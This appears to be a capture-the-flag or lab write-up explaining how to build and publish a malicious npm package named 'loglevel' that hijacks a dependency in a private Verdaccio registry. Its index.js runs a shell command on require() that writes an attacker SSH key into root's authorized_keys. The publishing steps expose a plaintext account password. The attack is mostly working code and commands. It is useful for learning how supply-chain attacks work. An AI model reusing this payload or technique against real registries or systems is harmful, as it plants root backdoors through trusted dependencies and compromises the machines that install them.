Malicious npm Package
The bare minimum requirement for an npm package is the following;
- A package file; (usually
index.js
as default) - A metadata file;
package.json
Package Generation
# mkdir loglevel ; cd loglevel
The name of the package is loglevel
as it is intended to replace/hijack the original loglevel
package from the target verdaccio instance
Additionally, the /opt/app/index.js
file loads the loglevel
package. Therefore, it MUST BE set the same name.
Package
root@be819313580c:~/loglevel# cat index.js
require('child_process').exec('mkdir -p /root/.ssh ; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali" > /root/.ssh/authorized_keys')
The package itself is a dead simple one-line JS payload
This will put the Kali’s public SSH key to the SSH file in the home directory of the root
user.
Successful exploitation allows me to escalate the privileges via SSH directly to the target system as the root
user
This was the initial payload that I tried many times for so long. I wanted to do a reverse shell instead writing my SSH
I tried many different formats and structures, yet none of them worked likely due to my lack of JS programming skill.
it is extremely important to note that loading a package alone via the require() function is enough to get the code execution. I do not need to necessarily draw the same functions and methods. in that regard, it is very similar to python’s import as it also executes the loading modules/library
Metadata
# npm init -f
npm WARN using --force Recommended protections disabled.
Wrote to /root/loglevel/package.json:
{
"name": "loglevel",
"version": "2.0.5",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC"
}
Generating the package.json
file containing metadata
npm supports package generation with the init
flag. The -f
flag was used to pull the parent directory name and set it to the name
attribute
*It’s important to note that value to the version
attribute must be changed as changes are made to the JS file itself *
Publishing
# npm adduser --registry http://0.0.0.0:4873
npm notice log in on http://0.0.0.0:4873/
username: kavi
password: IhateMathematics123#
email: (this IS public) blah@blah.blah
logged in as kavi on http://0.0.0.0:4873/.
Authentication is required for publishing an npm package to a private verdaccio registry
So I will just put the system credential of the kavi
user
It’s rather unnecessary unless system-wide operations with the instance are expected.
# npm publish --registry http://0.0.0.0:4873/
npm notice
npm notice package: loglevel@1.0.1
npm notice === Tarball Contents ===
npm notice 377B index.js
npm notice 222B package.json
npm notice 87B storage/.verdaccio-db.json
npm notice 3.1kB verdaccio/config.yaml
npm notice 110B verdaccio/htpasswd
npm notice 2.1kB verdaccio/storage/loglevel/loglevel-1.0.0.tgz
npm notice 110.8kB verdaccio/storage/loglevel/package.json
npm notice === Tarball Details ===
npm notice name: loglevel
npm notice version: 2.0.5
npm notice filename: loglevel-2.0.5.tgz
npm notice package size: 29.8 kB
npm notice unpacked size: 116.8 kB
npm notice shasum: f0fdc7a051c393b434b06a7f53dbdee109b02d6e
npm notice integrity: sha512-QqfqbDvYwwwf5[...]ODhK0BiHbzaOw==
npm notice total files: 7
npm notice
npm notice publishing to http://0.0.0.0:4873/
+ loglevel@1.0.1
Successfully published! The malicious npm package should now be available